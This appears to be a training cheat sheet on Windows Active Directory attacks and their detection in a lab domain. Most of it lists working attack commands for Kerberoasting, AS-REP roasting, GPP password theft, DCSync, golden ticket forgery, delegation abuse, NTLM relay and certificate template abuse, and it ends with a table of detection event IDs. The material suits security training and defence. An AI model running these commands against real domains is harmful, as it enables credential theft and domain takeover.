Contents

Cheat Sheet - Windows Attacks & Detection

Kerberoasting

Command Description
.\Rubeus.exe kerberoast /outfile:spn.txt Used to perform the Kerberoast attack and save output to a file.
hashcat -m 13100 -a 0 spn.txt passwords.txt Uses hashcat to crack Keberoastable TGS tickets.
sudo john spn.txt --fork=4 --format=krb5tgs --wordlist=passwords.txt --pot=results.pot Uses John the Ripper to crack TGS tickets, and outputs to results.pot.

Asreproasting

Command Description
.\Rubeus.exe asreproast /outfile:asrep.txt Used to perform the Asreproast attack and save the extracted tickets to a file.
hashcat -m 18200 -a 0 asrep.txt passwords.txt --force Uses hashcat to crack AS-REP hashes that were saved in a file.

GPP Passwords

Command Description
Import-Module .\Get-GPPPassword.ps1 Used to import the Get-GPPPassword.ps1 script into the current powershell session.
Get-GPPPassword Cmdlet to automatically parse all XML files in the Policies folder in SYSVOL.
Set-ExecutionPolicy Unrestricted -Scope CurrentUser Used to bypass powershell script execution policy.

Credentials in Shares

Command Description
Import-Module .\PowerView.ps1 Used to load the PowerView.ps1 module into memory
Invoke-ShareFinder -domain auteqia.lab -ExcludeStandard -CheckShareAccess PowerShell cmdlet used to identify shares in a domain
findstr /m /s /i "auteqia" *.ps1 Forces a search within the current directory + subdirectories for the .ps1 file containing the string “auteqia”

Credentials in Object Properties

Command Description
.\SearchUser.ps1 -Terms pass Script to look for specific terms in the Description and Info fields of an AD object

DCSync

Command Description
runas /user:auteqia\rocky cmd.exe Start a new instance of cmd.exe as the user auteqia\rocky.
mimikatz.exe Tool used to implement the DCsync attack
lsadump::dcsync /domain:auteqia.lab /user:Administrator Command used in mimikatz to DCSync and dump the Administrator password hash

Golden Ticket

Command Description
lsadump::dcsync /domain:auteqia.lab /user:krbtgt Command used in mimikatz to DCSync and dump the krbtgt password hash
Get-DomainSID Cmdlet from PowerView used to obtain the SID value of the domain.
golden /domain:auteqia.lab /sid:<domain sid> /rc4:<rc4 hash> /user:Administrator /id:500 /renewmax:7 /endin:8 /ptt Command used in mimikatz to forge a golden ticket for the Administrator account and pass the ticket to the current session
klist Command line utility in Windows to display the contents of the Kerberos ticket cache.

Kerberos Constrained Delegation

Command Description
Get-NetUser -TrustedToAuth Cmdlet used to enumerate user accounts that are trusted for delegation in the domain
.\Rubeus.exe hash /password:Password123! Converts the plaintext password Password123! to its NTLM hash equivalent
.\Rubeus.exe s4u /user:webservice /rc4:<hash> /domain:auteqia.lab /impersonateuser:Administrator /msdsspn:"http/dc1" /dc:dc1.auteqia.lab /ptt Using Rubeus to request a ticket for the Administrator account, by way of the webservice user who is trusted for delegation
Enter-PSSession dc1 Used to enter a new powershell remote session on the dc1 computer

Print Spooler & NTLM Relaying

Command Description
impacket-ntlmrelayx -t dcsync://172.16.18.4 -smb2support Used to forward any connections to DC2 and attempt to perform DCsync attack
python3 ./dementor.py 172.16.18.20 172.16.18.3 -u bob -d auteqia.lab -p Password123! Used to trigger the PrinterBug
RegisterSpoolerRemoteRpcEndPoint Registry key that can be disabled to prevent the PrinterBug

Coercing Attacks & Unconstrained Delegation

Command Description
Get-NetComputer -Unconstrained | select samaccountname PowerView command used to idenfity systems configred for Unconstrained Delegation.
.\Rubeus.exe monitor /interval:1 Used to monitor new logons and extract TGTs.
Coercer -u bob -p Password123! -d auteqia.lab -l ws001.auteqia.lab -t dc1.auteqia.lab Used to perform a coercing attack towards DC1, forcing it to connect to WS001.
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator Uses Mimikatz to perform a dcsync attack from a Windows-based host.

Object ACLs

Command Description
setspn -D http/ws001 anni Removing the http/ws001 SPN from the anni user.
setspn -U -s ldap/ws001 anni Setting a new SPN, ldap/ws001, on the anni user.
setspn -S ldap/server02 server01 Setting a new SPN, ldap/server02, on the server01 machine.

PKI - ESC1

Command Description
.\Certify.exe find /vulnerable Using the Certify.exe tool to scan for vulnerabilities in PKI infrastructure.
.\Certify.exe request /ca:PKI.auteqia.lab\auteqia-PKI-CA /template:UserCert /altname:Administrator Using the Certify.exe tool to obtain a certifcate from the vulnerable template
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Command to convert a PEM certificate to a PFX certificate.
.\Rubeus.exe asktgt /domain:auteqia.lab /user:Administrator /certificate:cert.pfx /dc:dc1.auteqia.lab /ptt Using the Rubeus.exe tool to request a TGT for the domain Administrator by way of forged certifcate.
runas /user:auteqia\victimUser powershell Start a new instance as powershell as the victimUser user.
New-PSSession PKI Start a new remote powershell session on the PKI machine.
Enter-PSSession PKI Enter a remote powershell session on the PKI machine.
Get-WINEvent -FilterHashtable @{Logname='Security'; ID='4887'} Using the Get-WinEvent cmdlet to view windows Event 4887
$events = Get-WinEvent -FilterHashtable @{Logname='Security'; ID='4886'} Command used to save the events into an array
$events[0] | Format-List -Property * Command to view events within the array. The 0 can be adjusted to a different number to match the corresponding event

PKI & Coercing - ESC8

Command Description
impacket-ntlmrelayx -t http://172.16.18.15/certsrv/default.asp --template DomainController -smb2support --adcs Command to forward incoming connections to the CA. The --adcs switch makes the tool parse and display the certificate if one is received.
python3 ./dementor.py 172.16.18.20 172.16.18.4 -u bob -d auteqia.lab -p Password123! Using the PrinterBug to trigger a connection back to the attacker.
xfreerdp /u:bob /p:Password123! /v:172.16.18.25 /dynamic-resolution Connecting to WS001 from the Kali host using RDP.
.\Rubeus.exe asktgt /user:DC2$ /ptt /certificate:<b64 encoded cert> Using Rubeus.exe to ask for a TGT by way of base 64 encoded certificate.
mimikatz.exe "lsadump::dcsync /user:Administrator" exit Using mimikatz.exe to DCsync the administrator user. This is performed once the TGT for DC2 has been passed to the current session.
evil-winrm -i 172.16.18.15 -u victimUser -p 'mysuperp@ssword' Connecting to PKI from the Kali Host using evil-winrm.

Windows Events

Event ID Description
4769 Event generated when a TGS is requested. Can be indicative of Kerberoasting.
4768 Event generated when a TGT is requested. Can be indicative of Asreproasting.
4625 Event generated when an account fails to log on.
4771 Event generated by a Kerberos pre-authentication failure.
4776 Event generated when attempting to validate the credentials of an account.
5136 Event generated when a GPO is modified, if Directory Service Changes auditing is enabled.
4725 Event generated when a user account is disabled.
4624 Event generated when an account successfully logs on to a windows computer. The S4U extension notes the presence of delegation.
4662 Event generated by a possible DCsync attack. If the account name is not a domain controller, it serves as a flag that a user generated the attack.
4738 Event generated when a user account is changed. Any association of this event with a honeypot user should trigger an alert.
4742 Event generated when a computer account is changed.
4886 Event generated when a certificate is requested.
4887 Event generated when a certificate is approved and issued.